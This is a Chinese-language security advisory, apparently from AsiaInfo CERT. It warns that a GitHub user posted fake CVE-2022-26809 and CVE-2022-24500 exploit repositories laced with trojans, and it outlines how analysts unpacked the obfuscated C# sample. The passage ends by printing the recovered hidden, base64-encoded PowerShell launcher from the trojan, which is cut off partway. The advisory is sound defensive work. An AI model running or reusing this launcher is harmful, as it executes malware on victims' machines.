警惕!利用Github进行水坑攻击安全风险通告


警惕!利用Github进行水坑攻击安全风险通告

文章插图
2022年5月19日,亚信安全CERT监测发现Github账户为rkxxz的用户发布了CVE-2022-26809和CVE-2022-24500 的项目,项目内容介绍为:CVE-2022-26809 RCE Exploit Remote Code Execution和CVE-2022-24500 RCE Exploit SMB Remote Code Execution Vulnerability 。经亚信安全CERT专家分析,该用户发布的多个项目内皆包含木马文件,亚信安全CERT提醒大家做好安全防范,不要下载、运行该用户(rkxxz)的任何项目文件!
截至通告发布,亚信安全CERT第一时间对事件进行了跟踪分析,尚未在各大论坛发现该作者推送信息 。预测下一波可能会到各大论坛对存储库进行推广,亚信安全将持续关注动态 。
同时,由于近期安全事件频发,类似的钓鱼、水坑攻击层出不穷,亚信安全CERT提醒大家,对来历不明的文件一定要进行安全检查,防止误操作给个人和企业造成损失 。
事件分析
一、背景介绍
2022年5月19日,亚信安全CERT监测发现Github账户rkxxz创建了CVE-2022-26809的项目,安全专家对项目内容开展分析 。
警惕!利用Github进行水坑攻击安全风险通告

文章插图
二、分析过程
1.查询目标基本信息
警惕!利用Github进行水坑攻击安全风险通告

文章插图
源码为C#
2. 分析混淆状态与加壳
通过DNSpy查看默认加壳信息
警惕!利用Github进行水坑攻击安全风险通告

文章插图
ConfuserEx 确定默认加壳信息
3. 代码解密
混淆代码中找到Assembly.LoadModule进行断点,将数组保存出来,得到内存解密后的代码 。
警惕!利用Github进行水坑攻击安全风险通告

文章插图
解密后代码字符串为未被处理de4dot
警惕!利用Github进行水坑攻击安全风险通告

文章插图
还原代码
【警惕!利用Github进行水坑攻击安全风险通告】初始还原的powershell代码:
PowerShell
"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBB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